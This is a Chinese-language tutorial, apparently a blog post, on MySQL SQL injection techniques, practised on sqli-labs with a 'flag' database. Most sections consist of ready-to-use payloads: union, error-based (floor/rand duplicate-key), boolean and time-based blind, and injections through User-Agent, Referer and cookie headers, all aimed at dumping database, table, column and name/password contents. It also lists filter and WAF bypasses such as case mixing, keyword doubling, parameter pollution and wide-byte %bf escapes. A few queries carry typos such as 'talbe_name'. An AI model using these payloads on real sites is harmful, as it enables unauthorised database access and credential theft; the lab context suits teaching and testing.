Sql注入定義:
就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行的sql命令的目的。
sql注入分類:
基於聯合查詢
基於錯誤回顯
基於盲注,分時間盲注和布爾型的盲注
基於user-agent
基於feferer
基於cookie
二次注入
寬字節注入
注入一個網站時,我們先要找出后台構造的查詢語句,然后判斷是否存在注入點。
常規的找出查詢語句的方法是在后面加’ 、 “ 、 ‘) 、 “),看是否報錯,然后用and 1=1和and 1=2判斷是否存在注入點,然后根據情況用不同的方法注入。
1.聯合查詢
通過執行等同於將一個表追加到另一個表的操作來組合兩個表的查詢
首先來了解下mysql的系統函數
然后再來了解下union
UNION 用於合並兩個或多個 SELECT 語句的結果集,並消去表中任何重復行。
UNION 內部的 SELECT 語句必須擁有相同數量的列,列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同.默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重復行。
order by 用於對結果集進行排序。
mysql 5.0版本以后提供了information.schema表,表中記錄了數據庫中所有的庫、表、列等信息
理解Schema,schemata,schema_name,table_schema(這是我學習過程中最混淆的地方,可以對照phpmyadmin學習)
SCHEMATA表:儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等,show databases的結果取之此表。(其中包含一列schema_name,即數據庫名,不同於schema,schema_name只是單純的數據庫名)
TABLES表:儲存mysql中的表信息,(當然也有數據庫名這一列,這樣才能找到哪個數據庫有哪些表)包括這個表是基本表還是系統表,數據庫的引擎是什么,表有多少行,創建時間,最后更新時間等。show tables from schemaname的結果取之此表(其中包含table_schema,表中的對應的庫名信息,table_name同樣不同於tables,只是單純的表名)
COLUMNS表:提供了表中的列信息,(當然也有數據庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列,列的數據類型,列的編碼類型,列的權限,注釋等。是show columns from schemaname.tablename的結果取之此表(其中包含table_schema,表中對應的庫名信息,table_nama表字段對應的表名,columns_name字段對應的字段名)
找到注入點后,我們用order by語句查詢數據庫中存在多少數據表
確定多少個表,為了便於說明,假設有三個數據表,
下面我們就要查詢敏感信息了,就要用到上面所說的系統函數了。
and 1=2 union select 1,version(),database() --可以爆出當前使用的版本和數據庫名 and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 --爆出數據庫名,依次使用limit2,1往下爆庫名, and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 --也可以使用group_concat函數全部爆出來
我們假設其中有flag庫
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’ --爆出flag庫下的所有的表,假設其中有flagtable表 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’ --爆出flagtable下的所有字段,假設有name和password字段 and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable --爆出flag下的flagtable表的name和password的內容
2.基於錯誤回顯
基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使數據被回顯到頁面上
所用到的函數
count() 統計元祖的個數(相當於求和),如select count(*) from information_schema.tables; rand()用於產生一個0~1的隨機數,如select rand(); floor()向下取整,如select floor(rand()*2); group by 依據我們想要的規矩對結果進行分組,如select table_name,table_schema from information_schema.tables group by table_name; group_concat將符合條件的同一列中的不同行數據拼接,如select group_concat(0x3a,0x3a,database(),0x3a);0x3a是十六進制的分號 又因頭太長,為了美觀,可以起一個別名,select group_concat(0x3a,0x3a,database(),0x3a)name;
我們先將上面的整合下,
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;先生成隨機數,並取證,然后用分號將不同的數據拼接,並取別名name,最后將結果以name進行分組並進行統計,能看到統計出的兩個不同的取值,0和1。
再進行多次重復,看一下關於rand()函數與group by 在mysql中的錯誤報告,我們就是要利用group by part of rand() returns duplicate key error這個bug。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. --這個bug會爆出duplicate key這個錯誤,然后順便就把數據也給爆了 公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and '1' = '1 and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( select group_concat(schema_name) from information_schema.schemata ) )name from information_schema.tables group by name)a) --爆出所有庫名,同上面一樣,假設有falg庫 and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( select group_concat(table_name) from information_schema.tables where table_schema=’flag’ ) )name from information_schema.tables group by name)a) --爆出flag下的所有表,假設有flagtable表 and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’ ) )name from information_schema.tables group by name)a) --爆出flagtable表的所有字段,假設有name和password and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( select group_concat(name,password) from flag.flagtable ) )name from information_schema.tables group by name)a) --爆出name和password字段的內容
3. sql盲注
在不知道數據庫具體返回值的情況下對數據庫中的內容進行猜解,實施sql注入,一般分為基於布爾和基於時間類型的盲注。
3.1 基於布爾型的sql盲注
返回的界面只有兩種情況,即TRUE和FALSE,這樣說並不是很准確,因為SQL查詢無非就這兩種情況,應該說是盲注的時候你只能得到一個正常的頁面或者是什么頁面的不存在,甚至你在查詢表的記錄過程也不會有顯示。
首先了解幾個函數
爆數據庫的路徑and ascii(substr(@@datadir,1,1))>69 --然后使用二分法一步一步確定。 爆所有的數據庫名 and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 --limit函數爆出的是第二個數據庫的第一個字符,同上,假設其中一個庫名為flag 爆數據庫表名 and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 0,1),1,1)))>100 --假設其中一個表名為flagtable 爆出數據庫的列名 and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1),1,1)))>100 --假設其中列名為name和password 爆出列里的數據內容and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1),1,1))>48
這樣我們就一步一步的爆出數據庫的信息了
3.2 基於時間的盲注
web頁面的返回值只有一種,true,無論輸入任何值,它的返回都會按正確的來處理。加入特定的時間函數,通過查看是web頁面返回的時間差來判斷注入的語句是否正確
sleep()函數
執行將程序(進程)掛起一段時間
if(expr1,ecpr2,expr3)判斷語句
爆庫名 and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3)) --使用二分法,一步一步爆出數據庫名,假設其中有一數據庫名為flag 爆表名 and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1) ,1,1))>101,1,sleep(3)) --假設有一表名為flagtable 爆列名 and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,1) ,1,1))>100,1,sleep(3)) --假設爆出列名為name和password 爆表中的內容 and if(ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3))
4.基於user-agent的注入
用戶代理(user agent)是記錄軟件程序的客戶端信息的HTTP頭字段,他可以用來統計目標和違規協議。在HTTP頭中應該包含它,這個字段的第一個空格前面是軟件的產品名稱,后面有一個可選的斜杠和版本號。
並不是所有的應用程序都會被獲取到user-agent信息,但是有些應用程序利用它存儲一些信息(如:購物車)。
HTTP查詢實例:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa’ or 1/*
我們將火狐設置為本地代理,然后用brup suite抓包。
然后將包發送到Repeater
在user-Agent修改為’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#
就爆出了數據庫的庫名flag了,這是sqli-labs第十八關的測試結果,構造爆出表列的語句和基於錯誤回顯的語句一樣,這里就不多做說明了。
5. 基於頭部Referer注入
http referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上referer,告訴服務器我是從哪個頁面鏈接過來的,服務器以此可以獲得一些信息用於處理
以下測試基於sqli-labs第十九關的測試結果
在referer中輸入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )# 爆出數據庫名為flag,其他注入語句和上雷同。
6. 基於cookie的注入
cookie(存儲在用戶本地終端上的數據)有服務器生成,發給user-agent(一般是瀏覽器),瀏覽器會把cookie的key/value保存到某個目錄下的文本文件內,下次請求同一網站時就會發送還cookie給服務器(前提是瀏覽器設置為啟用cookie)。cookie名稱和值可以有服務器端開發自己定義,對於jsp而言也可以直接寫入jessionid,這樣服務器可以知道該用戶是否合法用戶以及是否需要重新登錄等,服務器keyhi設置或讀取cookie中包含信息,借此維護用戶跟服務器會話中的狀態。
火狐中插件friebug對其修改,或用burp suite抓包修改。
以下測試結果基於sqli-labs 第二十關
在cookie中加單引號測試報錯,證明存在注入。然后在cookie中輸入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同樣爆出的庫名flag。
對於GET和POST的區別:
當然,上面所說的全是在裸機的情況下的結果,在正常情況下,會有些防護措施。下面介紹些繞過的方法。
1. base64編碼
base64編碼的思想是采用64個基本的ascii碼字符對數據進行重新編碼。它將需要編碼的數據拆分字節數組。以3個字節為一組,按順序排列24位數據,再把24位數據分成4組,即每組6位,再在每組的最高位前補兩個0湊足一個字節,這樣把一個3字節為一組的數據重新編碼成4個字節。當所要編碼的數據的字節不是3的整數倍,這時,在最后一組填充1到2個0字節。並在最后編碼完成后在結尾添加1到2個”=“。
關於這個編碼的規則:
①.把3個字符變成4個字符。
②每76個字符加一個換行符。
③.最后的結束符也要處理。
在火狐的插件heckbar中有此功能
1. 過濾關鍵字符
and ——&&
or —— ||
空格被過濾
可以使用”%09 %0A %0C %0D %0B”替代,也可以用or和and語句來構造到達閉合語句的效果。
union select 過濾
使用大小寫繞過,如UNion,SElect
多次重復,如ununionion,selselectect
在union select 聯合使用被過濾的情況,union all select
2. WAF應用防護系統
php get 獲取參數時有一個特性,當某個參數被多次賦值時會保留最后一次被賦值時的值。如id=1&id=&2&id=3這時,程序會返回id=3的值,但WAF只對第一次的id進行測試,如果傳入多個id,那么后面的id則存在注入漏洞
輸入id=1&id=&2&id=3‘就會出現報錯
1. 二次注入
注入過程分為兩個部分,語句插入和語句執行。常規的注入中都是將sql語句插入后即可顯示效果,出錯或者得出注入結果,而二次注入的第一步不會產生任何反應,因為它只是一個語句的插入,並沒有執行,在第二步運行時才能執行第一步插入的語句並顯示結果。而這兩個點可能不在同一位置。
此時修改密碼,單引號閉合語句,井號注釋后面的語句,修改的就不是admin’#的密碼了,而是admin的密碼。
2. 寬字節注入
GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等這些都是常說的寬字節(兩個字節),ascii就是單字節(一個字節)
GBK編碼,他的范圍是0x8410~0xFEFE(不包括xx7F)ascii編碼,他的編碼范圍是ascii(0)~ascii(127),另外有一個擴展ascii打印字符,他的范圍是ascii(128)~ascii(255)
3. addslashes()函數
在每個字符前添加反斜杠:\
my_sql_real_escape_string()
my_sql_real_escape_string()函數轉義sql語句中使用的字符串中的特殊符:\x00 , \n , \r , \ , ' , " , 、x1a
id=1,我們在后面家單引號,雙引號都返回正常,因為被添加反斜杠或轉義了,此時我們可以在測試字符前加%bf
id=1%bf’就會報錯了,至於原因,闡述起來比較麻煩,各位同學去谷歌或者百度下吧